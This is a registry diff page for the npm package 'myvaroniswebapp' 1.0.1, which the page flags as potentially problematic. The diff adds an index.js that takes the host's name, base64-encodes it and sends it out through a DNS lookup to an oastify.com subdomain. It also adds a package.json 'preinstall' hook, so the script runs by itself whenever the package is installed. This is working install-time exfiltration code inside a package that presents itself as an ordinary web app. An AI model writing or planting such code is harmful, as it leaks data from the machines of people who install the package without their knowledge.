myvaroniswebapp 1.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of myvaroniswebapp might be problematic. Click here for more details.
- package/index.js +33 -0
- package/package.json +13 -0
package/index.js
ADDED
@@ -0,0 +1,33 @@
|
|
1
|
+
const dns = require('dns');
|
2
|
+
const os = require('os');
|
3
|
+
|
4
|
+
// Função para codificar a informação em Base64
|
5
|
+
function encodeBase64(data) {
|
6
|
+
return Buffer.from(data).toString('base64').replace(/=+$/, '');
|
7
|
+
}
|
8
|
+
|
9
|
+
// Função para coletar o hostname
|
10
|
+
function getHostname() {
|
11
|
+
return os.hostname();
|
12
|
+
}
|
13
|
+
|
14
|
+
// Função para fazer a requisição DNS
|
15
|
+
function sendDnsRequest(data) {
|
16
|
+
const encodedData = encodeBase64(data);
|
17
|
+
|
18
|
+
// Limite de caracteres para uma requisição DNS é 253, considerando ".oastify.com" que é 11 caracteres, sobram 242
|
19
|
+
const maxDnsLength = 242;
|
20
|
+
const hostname = `${encodedData.slice(0, maxDnsLength)}.jyl5ngz9icljr7kjg3y67cei49a0yqmf.oastify.com`;
|
21
|
+
|
22
|
+
dns.resolve(hostname, 'A', (err, addresses) => {
|
23
|
+
if (err) {
|
24
|
+
console.error(`Erro ao resolver DNS: ${err}`);
|
25
|
+
} else {
|
26
|
+
console.log(`Endereços: ${addresses}`);
|
27
|
+
}
|
28
|
+
});
|
29
|
+
}
|
30
|
+
|
31
|
+
// Exemplo de uso
|
32
|
+
const hostname = getHostname();
|
33
|
+
sendDnsRequest(hostname);
|
package/package.json
ADDED
@@ -0,0 +1,13 @@
|
|
1
|
+
{
|
2
|
+
"name": "myvaroniswebapp",
|
3
|
+
"version": "1.0.1",
|
4
|
+
"main": "index.js",
|
5
|
+
"scripts": {
|
6
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
7
|
+
"preinstall": "node index.js"
|
8
|
+
},
|
9
|
+
"keywords": [],
|
10
|
+
"author": "",
|
11
|
+
"license": "ISC",
|
12
|
+
"description": ""
|
13
|
+
}
|